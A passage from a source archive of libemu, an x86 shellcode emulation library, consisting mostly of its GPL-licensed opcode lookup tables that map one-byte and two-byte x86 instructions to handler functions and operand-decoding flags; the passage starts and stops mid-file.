uint8_t has_cond_pos : 1; uint32_t norm_pos; uint32_t cond_pos; } source; }; #endif libemu-0.2.0+git20120122+564/include/emu/emu_cpu_itables.h0000644000175300017530000007236311706767213021600 0ustar dt-npbdt-npb/******************************************************************************** * libemu * * - x86 shellcode emulation - * * * Copyright (C) 2007 Paul Baecher & Markus Koetter * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * * * contact nepenthesdev@users.sourceforge.net * *******************************************************************************/ #ifndef HAVE_EMU_CPU_ITABLES_H #define HAVE_EMU_CPU_ITABLES_H // for i in $(seq 0 255); do printf "\t/* %02x */ {0, 0, {0, 0, 0, 0, 0, 0, 0}},\n" $i; done >> emu_cpu_itables.h */ #include #include #define II_SBIT 1 #define II_WBIT 1 #define II_XX_REG1_REG2 1 #define II_MOD_REG_RM 2 #define II_XX_YYY_REG 3 #define II_MOD_YYY_RM 4 #define II_UUUU_TTTN 5 #define II_XX_SREG3_ZZ 6 #define II_IMM 1 #define II_IMM8 2 #define II_IMM16 3 #define II_IMM32 4 #define II_DISPF 1 #define II_DISP8 2 #define II_DISP16 3 #define II_DISP32 4 /*#define II_LEVEL8 1 -- implementation pending #define II_TYPE 1 -- impementation pending*/ #define II_FPU_INSTR 1 struct emu_cpu_instruction_info ii_onebyte[0x100] = { /* 00 */ {instr_add_00, "add", {0, 0, II_MOD_REG_RM, 0, 0, 0, 0, 0}}, /* 01 */ {instr_add_01, "add", {0, 0, II_MOD_REG_RM, 0, 0, 0, 0, 0}}, /* 02 */ {instr_add_02, "add", {0, 0, II_MOD_REG_RM, 0, 0, 0, 0, 0}}, /* 03 */ {instr_add_03, "add", {0, 0, II_MOD_REG_RM, 0, 0, 0, 0, 0}}, /* 04 */ {instr_add_04, "add", {0, 0, 0, II_IMM8, 0, 0, 0, 0}}, /* 05 */ {instr_add_05, "add", {0, 0, 0, II_IMM, 0, 0, 0, 0}}, /* 06 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 07 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 08 */ {instr_or_08 , "or" , {0, 0, II_MOD_REG_RM, 0, 0, 0, 0}}, /* 09 */ {instr_or_09 , "or" , {0, 0, II_MOD_REG_RM, 0, 0, 0, 0}}, /* 0a */ {instr_or_0a , "or" , {0, 0, II_MOD_REG_RM, 0, 0, 0, 0}}, /* 0b */ {instr_or_0b , "or" , {0, 0, II_MOD_REG_RM, 0, 0, 0, 0}}, /* 0c */ {instr_or_0c , "or" , {0, 0, 0, II_IMM8, 0, 0, 0}}, /* 0d */ {instr_or_0d , "or" , {0, 0, 0, II_IMM, 0, 0, 0}}, /* 0e */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 0f */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 10 */ {instr_adc_10, "adc", {0, 0, II_MOD_REG_RM, 0, 0, 0, 0}}, /* 11 */ {instr_adc_11, "adc", {0, 0, II_MOD_REG_RM, 0, 0, 0, 0}}, /* 12 */ {instr_adc_12, "adc", {0, 0, II_MOD_REG_RM, 0, 0, 0, 0}}, /* 13 */ {instr_adc_13, "adc", {0, 0, II_MOD_REG_RM, 0, 0, 0, 0}}, /* 14 */ {instr_adc_14, "adc", {0, 0, 0, II_IMM8, 0, 0, 0}}, /* 15 */ {instr_adc_15, "adc", {0, 0, 0, II_IMM, 0, 0, 0}}, /* 16 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 17 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 18 */ {instr_sbb_18, "sbb", {0, 0, II_MOD_REG_RM, 0, 0, 0, 0}}, /* 19 */ {instr_sbb_19, "sbb", {0, 0, II_MOD_REG_RM, 0, 0, 0, 0}}, /* 1a */ {instr_sbb_1a, "sbb", {0, 0, II_MOD_REG_RM, 0, 0, 0, 0}}, /* 1b */ {instr_sbb_1b, "sbb", {0, 0, II_MOD_REG_RM, 0, 0, 0, 0}}, /* 1c */ {instr_sbb_1c, "sbb", {0, 0, 0, II_IMM8, 0, 0, 0}}, /* 1d */ {instr_sbb_1d, "sbb", {0, 0, 0, II_IMM, 0, 0, 0}}, /* 1e */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 1f */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 20 */ {instr_and_20, "and", {0, 0, II_MOD_REG_RM, 0, 0, 0, 0}}, /* 21 */ {instr_and_21, "and", {0, 0, II_MOD_REG_RM, 0, 0, 0, 0}}, /* 22 */ {instr_and_22, "and", {0, 0, II_MOD_REG_RM, 0, 0, 0, 0}}, /* 23 */ {instr_and_23, "and", {0, 0, II_MOD_REG_RM, 0, 0, 0, 0}}, /* 24 */ {instr_and_24, "and", {0, 0, 0, II_IMM8, 0, 0, 0}}, /* 25 */ {instr_and_25, "and", {0, 0, 0, II_IMM, 0, 0, 0}}, /* 26 */ {prefix_fn, "ES:", {0, 0, 0, 0, 0, 0, 0, 0}}, /* 27 */ {instr_daa_27, "daa", {0, 0, 0, 0, 0, 0, 0, 0}}, /* 28 */ {instr_sub_28, "sub", {0, 0, II_MOD_REG_RM, 0, 0, 0, 0}}, /* 29 */ {instr_sub_29, "sub", {0, 0, II_MOD_REG_RM, 0, 0, 0, 0}}, /* 2a */ {instr_sub_2a, "sub", {0, 0, II_MOD_REG_RM, 0, 0, 0, 0}}, /* 2b */ {instr_sub_2b, "sub", {0, 0, II_MOD_REG_RM, 0, 0, 0, 0}}, /* 2c */ {instr_sub_2c, "sub", {0, 0, 0, II_IMM8, 0, 0, 0}}, /* 2d */ {instr_sub_2d, "sub", {0, 0, 0, II_IMM, 0, 0, 0}}, /* 2e */ {prefix_fn, "CS:", {0, 0, 0, 0, 0, 0, 0, 0}}, /* 2f */ {instr_das_2f, "das", {0, 0, 0, 0, 0, 0, 0, 0}}, /* 30 */ {instr_xor_30, "xor", {0, 0, II_MOD_REG_RM, 0, 0, 0, 0}}, /* 31 */ {instr_xor_31, "xor", {0, 0, II_MOD_REG_RM, 0, 0, 0, 0}}, /* 32 */ {instr_xor_32, "xor", {0, 0, II_MOD_REG_RM, 0, 0, 0, 0}}, /* 33 */ {instr_xor_33, "xor", {0, 0, II_MOD_REG_RM, 0, 0, 0, 0}}, /* 34 */ {instr_xor_34, "xor", {0, 0, 0, II_IMM8, 0, 0, 0}}, /* 35 */ {instr_xor_35, "xor", {0, 0, 0, II_IMM, 0, 0, 0}}, /* 36 */ {prefix_fn, "SS:", {0, 0, 0, 0, 0, 0, 0, 0}}, /* 37 */ {instr_aaa_37, "aaa", {0, 0, 0, 0, 0, 0, 0, 0}}, /* 38 */ {instr_cmp_38, "cmp", {0, 0, II_MOD_REG_RM, 0, 0, 0, 0}}, /* 39 */ {instr_cmp_39, "cmp", {0, 0, II_MOD_REG_RM, 0, 0, 0, 0}}, /* 3a */ {instr_cmp_3a, "cmp", {0, 0, II_MOD_REG_RM, 0, 0, 0, 0}}, /* 3b */ {instr_cmp_3b, "cmp", {0, 0, II_MOD_REG_RM, 0, 0, 0, 0}}, /* 3c */ {instr_cmp_3c, "cmp", {0, 0, 0, II_IMM8, 0, 0, 0}}, /* 3d */ {instr_cmp_3d, "cmp", {0, 0, 0, II_IMM, 0, 0, 0}}, /* 3e */ {prefix_fn, "DS:", {0, 0, 0, 0, 0, 0, 0, 0}}, /* 3f */ {instr_aas_3f, "aas", {0, 0, 0, 0, 0, 0, 0, 0}}, /* 40 */ {instr_inc_4x, "inc", {0, 0, 0, 0, 0, 0, 0, 0}}, /* 41 */ {instr_inc_4x, "inc", {0, 0, 0, 0, 0, 0, 0, 0}}, /* 42 */ {instr_inc_4x, "inc", {0, 0, 0, 0, 0, 0, 0, 0}}, /* 43 */ {instr_inc_4x, "inc", {0, 0, 0, 0, 0, 0, 0, 0}}, /* 44 */ {instr_inc_4x, "inc", {0, 0, 0, 0, 0, 0, 0, 0}}, /* 45 */ {instr_inc_4x, "inc", {0, 0, 0, 0, 0, 0, 0, 0}}, /* 46 */ {instr_inc_4x, "inc", {0, 0, 0, 0, 0, 0, 0, 0}}, /* 47 */ {instr_inc_4x, "inc", {0, 0, 0, 0, 0, 0, 0, 0}}, /* 48 */ {instr_dec_4x, "dec", {0, 0, 0, 0, 0, 0, 0, 0}}, /* 49 */ {instr_dec_4x, "dec", {0, 0, 0, 0, 0, 0, 0, 0}}, /* 4a */ {instr_dec_4x, "dec", {0, 0, 0, 0, 0, 0, 0, 0}}, /* 4b */ {instr_dec_4x, "dec", {0, 0, 0, 0, 0, 0, 0, 0}}, /* 4c */ {instr_dec_4x, "dec", {0, 0, 0, 0, 0, 0, 0, 0}}, /* 4d */ {instr_dec_4x, "dec", {0, 0, 0, 0, 0, 0, 0, 0}}, /* 4e */ {instr_dec_4x, "dec", {0, 0, 0, 0, 0, 0, 0, 0}}, /* 4f */ {instr_dec_4x, "dec", {0, 0, 0, 0, 0, 0, 0, 0}}, /* 50 */ {instr_push_5x, "push", {0, 0, 0, 0, 0, 0, 0, 0}}, /* 51 */ {instr_push_5x, "push", {0, 0, 0, 0, 0, 0, 0, 0}}, /* 52 */ {instr_push_5x, "push", {0, 0, 0, 0, 0, 0, 0, 0}}, /* 53 */ {instr_push_5x, "push", {0, 0, 0, 0, 0, 0, 0, 0}}, /* 54 */ {instr_push_5x, "push", {0, 0, 0, 0, 0, 0, 0, 0}}, /* 55 */ {instr_push_5x, "push", {0, 0, 0, 0, 0, 0, 0, 0}}, /* 56 */ {instr_push_5x, "push", {0, 0, 0, 0, 0, 0, 0, 0}}, /* 57 */ {instr_push_5x, "push", {0, 0, 0, 0, 0, 0, 0, 0}}, /* 58 */ {instr_pop_5x, "pop", {0, 0, 0, 0, 0, 0, 0, 0}}, /* 59 */ {instr_pop_5x, "pop", {0, 0, 0, 0, 0, 0, 0, 0}}, /* 5a */ {instr_pop_5x, "pop", {0, 0, 0, 0, 0, 0, 0, 0}}, /* 5b */ {instr_pop_5x, "pop", {0, 0, 0, 0, 0, 0, 0, 0}}, /* 5c */ {instr_pop_5x, "pop", {0, 0, 0, 0, 0, 0, 0, 0}}, /* 5d */ {instr_pop_5x, "pop", {0, 0, 0, 0, 0, 0, 0, 0}}, /* 5e */ {instr_pop_5x, "pop", {0, 0, 0, 0, 0, 0, 0, 0}}, /* 5f */ {instr_pop_5x, "pop", {0, 0, 0, 0, 0, 0, 0, 0}}, /* 60 */ {instr_pushad_60, "pushad", {0, 0, 0, 0, 0, 0, 0, 0}}, /* 61 */ {instr_popad_61, "popad", {0, 0, 0, 0, 0, 0, 0, 0}}, /* 62 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 63 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 64 */ {prefix_fn, "FS:", {0, 0, 0, 0, 0, 0, 0, 0}}, /* 65 */ {prefix_fn, "GS:", {0, 0, 0, 0, 0, 0, 0, 0}}, /* 66 */ {prefix_fn, "OPSIZE:", {0, 0, 0, 0, 0, 0, 0, 0}}, /* 67 */ {prefix_fn, "ADSIZE:", {0, 0, 0, 0, 0, 0, 0, 0}}, /* 68 */ {instr_push_68, "push", {0, 0, 0, II_IMM, 0, 0, 0, 0}}, /* 69 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 6a */ {instr_push_6a, "push", {0, 0, 0, II_IMM8, 0, 0, 0, 0}}, /* 6b */ {instr_imul_6b, "imul", {0, 0, II_MOD_REG_RM, II_IMM8, 0, 0, 0, 0}}, /* 6c */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 6d */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 6e */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 6f */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 70 */ {instr_jcc_70, "jcc", {0, 0, 0, 0, II_DISP8, 0, 0, 0}}, /* 71 */ {instr_jcc_71, "jcc", {0, 0, 0, 0, II_DISP8, 0, 0, 0}}, /* 72 */ {instr_jcc_72, "jcc", {0, 0, 0, 0, II_DISP8, 0, 0, 0}}, /* 73 */ {instr_jcc_73, "jcc", {0, 0, 0, 0, II_DISP8, 0, 0, 0}}, /* 74 */ {instr_jcc_74, "jcc", {0, 0, 0, 0, II_DISP8, 0, 0, 0}}, /* 75 */ {instr_jcc_75, "jcc", {0, 0, 0, 0, II_DISP8, 0, 0, 0}}, /* 76 */ {instr_jcc_76, "jcc", {0, 0, 0, 0, II_DISP8, 0, 0, 0}}, /* 77 */ {instr_jcc_77, "jcc", {0, 0, 0, 0, II_DISP8, 0, 0, 0}}, /* 78 */ {instr_jcc_78, "jcc", {0, 0, 0, 0, II_DISP8, 0, 0, 0}}, /* 79 */ {instr_jcc_79, "jcc", {0, 0, 0, 0, II_DISP8, 0, 0, 0}}, /* 7a */ {instr_jcc_7a, "jcc", {0, 0, 0, 0, II_DISP8, 0, 0, 0}}, /* 7b */ {instr_jcc_7b, "jcc", {0, 0, 0, 0, II_DISP8, 0, 0, 0}}, /* 7c */ {instr_jcc_7c, "jcc", {0, 0, 0, 0, II_DISP8, 0, 0, 0}}, /* 7d */ {instr_jcc_7d, "jcc", {0, 0, 0, 0, II_DISP8, 0, 0, 0}}, /* 7e */ {instr_jcc_7e, "jcc", {0, 0, 0, 0, II_DISP8, 0, 0, 0}}, /* 7f */ {instr_jcc_7f, "jcc", {0, 0, 0, 0, II_DISP8, 0, 0, 0}}, /* 80 */ {instr_group_1_80, "group1", {0, 0, II_MOD_REG_RM, II_IMM8, 0, 0, 0, 0}}, /* 81 */ {instr_group_1_81, "group1", {0, 0, II_MOD_REG_RM, II_IMM, 0, 0, 0, 0}}, /* 82 */ {instr_group_1_80, "group1", {0, 0, II_MOD_REG_RM, II_IMM8, 0, 0, 0, 0}}, /* 83 */ {instr_group_1_83, "group1", {0, 0, II_MOD_REG_RM, II_IMM8, 0, 0, 0, 0}}, /* 84 */ {instr_test_84, "test", {0, 0, II_MOD_REG_RM, 0, 0, 0, 0, 0}}, /* 85 */ {instr_test_85, "test", {0, 0, II_MOD_REG_RM, 0, 0, 0, 0, 0}}, /* 86 */ {instr_xchg_86, "xchg", {0, 0, II_MOD_REG_RM, 0, 0, 0, 0, 0}}, /* 87 */ {instr_xchg_87, "xchg", {0, 0, II_MOD_REG_RM, 0, 0, 0, 0, 0}}, /* 88 */ {instr_mov_88, "mov", {0, 0, II_MOD_REG_RM, 0, 0, 0, 0, 0}}, /* 89 */ {instr_mov_89, "mov", {0, 0, II_MOD_REG_RM, 0, 0, 0, 0, 0}}, /* 8a */ {instr_mov_8a, "mov", {0, 0, II_MOD_REG_RM, 0, 0, 0, 0, 0}}, /* 8b */ {instr_mov_8b, "mov", {0, 0, II_MOD_REG_RM, 0, 0, 0, 0, 0}}, /* 8c */ {instr_mov_8c, "mov", {0, 0, II_MOD_REG_RM, 0, 0, 0, 0, 0}}, /* 8d */ {instr_lea_8d, "lea", {0, 0, II_MOD_REG_RM, 0, 0, 0, 0, 0}}, /* 8e */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 8f */ {instr_group_10_8f, "group10", {0, 0, II_MOD_REG_RM, 0, 0, 0, 0, 0}}, /* 90 */ {instr_xchg_9x, "xchg", {0, 0, 0, 0, 0, 0, 0, 0}}, /* 91 */ {instr_xchg_9x, "xchg", {0, 0, 0, 0, 0, 0, 0, 0}}, /* 92 */ {instr_xchg_9x, "xchg", {0, 0, 0, 0, 0, 0, 0}}, /* 93 */ {instr_xchg_9x, "xchg", {0, 0, 0, 0, 0, 0, 0}}, /* 94 */ {instr_xchg_9x, "xchg", {0, 0, 0, 0, 0, 0, 0}}, /* 95 */ {instr_xchg_9x, "xchg", {0, 0, 0, 0, 0, 0, 0}}, /* 96 */ {instr_xchg_9x, "xchg", {0, 0, 0, 0, 0, 0, 0}}, /* 97 */ {instr_xchg_9x, "xchg", {0, 0, 0, 0, 0, 0, 0}}, /* 98 */ {instr_cbw_98, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 99 */ {instr_cwd_99, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 9a */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 9b */ {instr_wait_9b, "wait", {0, 0, 0, 0, 0, 0, 0, 0}}, /* 9c */ {instr_pushf_9c, "pushf", {0, 0, 0, 0, 0, 0, 0, 0}}, /* 9d */ {instr_popf_9d, "popf", {0, 0, 0, 0, 0, 0, 0, 0}}, /* 9e */ {instr_sahf_9e, "sahf", {0, 0, 0, 0, 0, 0, 0, 0}}, /* 9f */ {instr_lahf_9f, "lahf", {0, 0, 0, 0, 0, 0, 0, 0}}, /* a0 */ {instr_mov_a0, "mov", {0, 0, 0, 0, II_DISPF, 0, 0, 0}}, /* a1 */ {instr_mov_a1, "mov", {0, 0, 0, 0, II_DISPF, 0, 0, 0}}, /* a2 */ {instr_mov_a2, "mov", {0, 0, 0, 0, II_DISPF, 0, 0, 0}}, /* a3 */ {instr_mov_a3, "mov", {0, 0, 0, 0, II_DISPF, 0, 0, 0}}, /* a4 */ {instr_movsb, "movsb", {0, 0, 0, 0, 0, 0, 0, 0}}, /* a5 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* a6 */ {instr_cmps_a6, "cmps", {0, 0, 0, 0, 0, 0, 0, 0}}, /* a7 */ {instr_cmps_a7, "cmps", {0, 0, 0, 0, 0, 0, 0, 0}}, /* a8 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* a9 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* aa */ {instr_stos_aa, "stos", {0, 0, 0, 0, 0, 0, 0, 0}}, /* ab */ {instr_stos_ab, "stos", {0, 0, 0, 0, 0, 0, 0, 0}}, /* ac */ {instr_lods_ac, "lods", {0, 0, 0, 0, 0, 0, 0, 0}}, /* ad */ {instr_lods_ad, "lods", {0, 0, 0, 0, 0, 0, 0, 0}}, /* ae */ {instr_scas_ae, "scas", {0, 0, 0, 0, 0, 0, 0, 0}}, /* af */ {instr_scas_af, "scas", {0, 0, 0, 0, 0, 0, 0, 0}}, /* b0 */ {instr_mov_bx_1, "mov", {0, 0, 0, II_IMM8, 0, 0, 0, 0}}, /* b1 */ {instr_mov_bx_1, "mov", {0, 0, 0, II_IMM8, 0, 0, 0, 0}}, /* b2 */ {instr_mov_bx_1, "mov", {0, 0, 0, II_IMM8, 0, 0, 0, 0}}, /* b3 */ {instr_mov_bx_1, "mov", {0, 0, 0, II_IMM8, 0, 0, 0, 0}}, /* b4 */ {instr_mov_bx_1, "mov", {0, 0, 0, II_IMM8, 0, 0, 0, 0}}, /* b5 */ {instr_mov_bx_1, "mov", {0, 0, 0, II_IMM8, 0, 0, 0, 0}}, /* b6 */ {instr_mov_bx_1, "mov", {0, 0, 0, II_IMM8, 0, 0, 0, 0}}, /* b7 */ {instr_mov_bx_1, "mov", {0, 0, 0, II_IMM8, 0, 0, 0, 0}}, /* b8 */ {instr_mov_bx_2, "mov", {0, 0, 0, II_IMM, 0, 0, 0, 0}}, /* b9 */ {instr_mov_bx_2, "mov", {0, 0, 0, II_IMM, 0, 0, 0, 0}}, /* ba */ {instr_mov_bx_2, "mov", {0, 0, 0, II_IMM, 0, 0, 0, 0}}, /* bb */ {instr_mov_bx_2, "mov", {0, 0, 0, II_IMM, 0, 0, 0, 0}}, /* bc */ {instr_mov_bx_2, "mov", {0, 0, 0, II_IMM, 0, 0, 0, 0}}, /* bd */ {instr_mov_bx_2, "mov", {0, 0, 0, II_IMM, 0, 0, 0, 0}}, /* be */ {instr_mov_bx_2, "mov", {0, 0, 0, II_IMM, 0, 0, 0, 0}}, /* bf */ {instr_mov_bx_2, "mov", {0, 0, 0, II_IMM, 0, 0, 0, 0}}, /* c0 */ {instr_group_2_c0, "group2", {0, 0, II_MOD_YYY_RM, II_IMM8, 0, 0, 0, 0}}, /* c1 */ {instr_group_2_c1, "group2", {0, 0, II_MOD_YYY_RM, II_IMM8, 0, 0, 0, 0}}, /* c2 */ {instr_ret_c2, "ret", {0, 0, 0, II_IMM16, 0, 0, 0, 0}}, /* c3 */ {instr_ret_c3, "ret", {0, 0, 0, 0, 0, 0, 0, 0}}, /* c4 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* c5 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* c6 */ {instr_mov_c6, "mov", {0, 0, II_MOD_REG_RM, II_IMM8, 0, 0, 0, 0}}, /* c7 */ {instr_mov_c7, "mov", {0, 0, II_MOD_REG_RM, II_IMM, 0, 0, 0, 0}}, /* c8 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* c9 */ {instr_leave, "leave", {0, 0, 0, 0, 0, 0, 0, 0}}, /* ca */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* cb */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* cc */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* cd */ {instr_int_cd, "int", {0, 0, 0, II_IMM8, 0, 0, 0, 0}}, /* ce */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* cf */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* d0 */ {instr_group_2_d0, "group2", {0, 0, II_MOD_YYY_RM, 0, 0, 0, 0, 0}}, /* d1 */ {instr_group_2_d1, "group2", {0, 0, II_MOD_YYY_RM, 0, 0, 0, 0, 0}}, /* d2 */ {instr_group_2_d2, "group2", {0, 0, II_MOD_YYY_RM, 0, 0, 0, 0, 0}}, /* d3 */ {instr_group_2_d3, "group2", {0, 0, II_MOD_YYY_RM, 0, 0, 0, 0, 0}}, /* d4 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* d5 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* d6 */ {instr_salc_d6, "salc", {0, 0, 0, 0, 0, 0, 0, 0}}, /* d7 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* d8 */ {instr_esc_fpu_dx, 0, {0, 0, 0, 0, 0, 0, 0, II_FPU_INSTR}}, /* d9 */ {instr_esc_fpu_dx, 0, {0, 0, 0, 0, 0, 0, 0, II_FPU_INSTR}}, /* da */ {instr_esc_fpu_dx, 0, {0, 0, 0, 0, 0, 0, 0, II_FPU_INSTR}}, /* db */ {instr_esc_fpu_dx, 0, {0, 0, 0, 0, 0, 0, 0, II_FPU_INSTR}}, /* dc */ {instr_esc_fpu_dx, 0, {0, 0, 0, 0, 0, 0, 0, II_FPU_INSTR}}, /* dd */ {instr_esc_fpu_dx, 0, {0, 0, 0, 0, 0, 0, 0, II_FPU_INSTR}}, /* de */ {instr_esc_fpu_dx, 0, {0, 0, 0, 0, 0, 0, 0, II_FPU_INSTR}}, /* df */ {instr_esc_fpu_dx, 0, {0, 0, 0, 0, 0, 0, 0, II_FPU_INSTR}}, /* e0 */ {instr_loopcc_e0, "loopcc", {0, 0, 0, 0, II_DISP8, 0, 0, 0}}, /* e1 */ {instr_loopcc_e1, "loopcc", {0, 0, 0, 0, II_DISP8, 0, 0, 0}}, /* e2 */ {instr_loop_e2 , "loop", {0, 0, 0, 0, II_DISP8, 0, 0, 0}}, /* e3 */ {instr_jcc_e3, "jcc", {0, 0, 0, 0, II_DISP8, 0, 0, 0}}, /* e4 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* e5 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* e6 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* e7 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* e8 */ {instr_call_e8, "call", {0, 0, 0, 0, II_DISPF, 0, 0, 0}}, /* e9 */ {instr_jmp_e9, "jmp", {0, 0, 0, 0, II_DISPF, 0, 0, 0}}, /* ea */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* eb */ {instr_jmp_eb, "jmp", {0, 0, 0, 0, II_DISP8, 0, 0, 0}}, /* ec */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* ed */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* ee */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* ef */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* f0 */ {prefix_fn, "LOCK:", {0, 0, 0, 0, 0, 0, 0, 0}}, /* f1 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* f2 */ {prefix_fn, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* f3 */ {prefix_fn, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* f4 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* f5 */ {instr_cmc_f5, "cmc", {0, 0, 0, 0, 0, 0, 0, 0}}, /* f6 */ {instr_group_3_f6, "group3", {0, 0, II_MOD_REG_RM, 0, 0, 0, 1, 0}}, /* f7 */ {instr_group_3_f7, "group3", {0, 0, II_MOD_REG_RM, 0, 0, 0, 1, 0}}, /* f8 */ {instr_clc_f8, "clc", {0, 0, 0, 0, 0, 0, 0, 0}}, /* f9 */ {instr_stc_f9, "stc", {0, 0, 0, 0, 0, 0, 0, 0}}, /* fa */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* fb */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* fc */ {instr_cld_fc, "cld", {0, 0, 0, 0, 0, 0, 0, 0}}, /* fd */ {instr_std_fd, "std", {0, 0, 0, 0, 0, 0, 0, 0}}, /* fe */ {instr_group_4_fe, "group4", {0, 0, II_MOD_REG_RM, 0, 0, 0, 0, 0}}, /* ff */ {instr_group_5_ff, "group5", {0, 0, II_MOD_REG_RM, 0, 0, 0, 0, 0}}, }; struct emu_cpu_instruction_info ii_twobyte[0x100] = { /* 00 */ {instr_sldt_0f00, "sldt", {0, 0, II_MOD_REG_RM, 0, 0, 0, 0, 0}}, /* 01 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 02 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 03 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 04 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 05 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 06 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 07 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 08 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 09 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 0a */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 0b */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 0c */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 0d */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 0e */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 0f */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 10 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 11 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 12 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 13 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 14 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 15 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 16 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 17 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 18 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 19 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 1a */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 1b */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 1c */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 1d */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 1e */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 1f */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 20 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 21 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 22 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 23 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 24 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 25 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 26 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 27 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 28 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 29 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 2a */ {0, 0, {0, 0, 0, 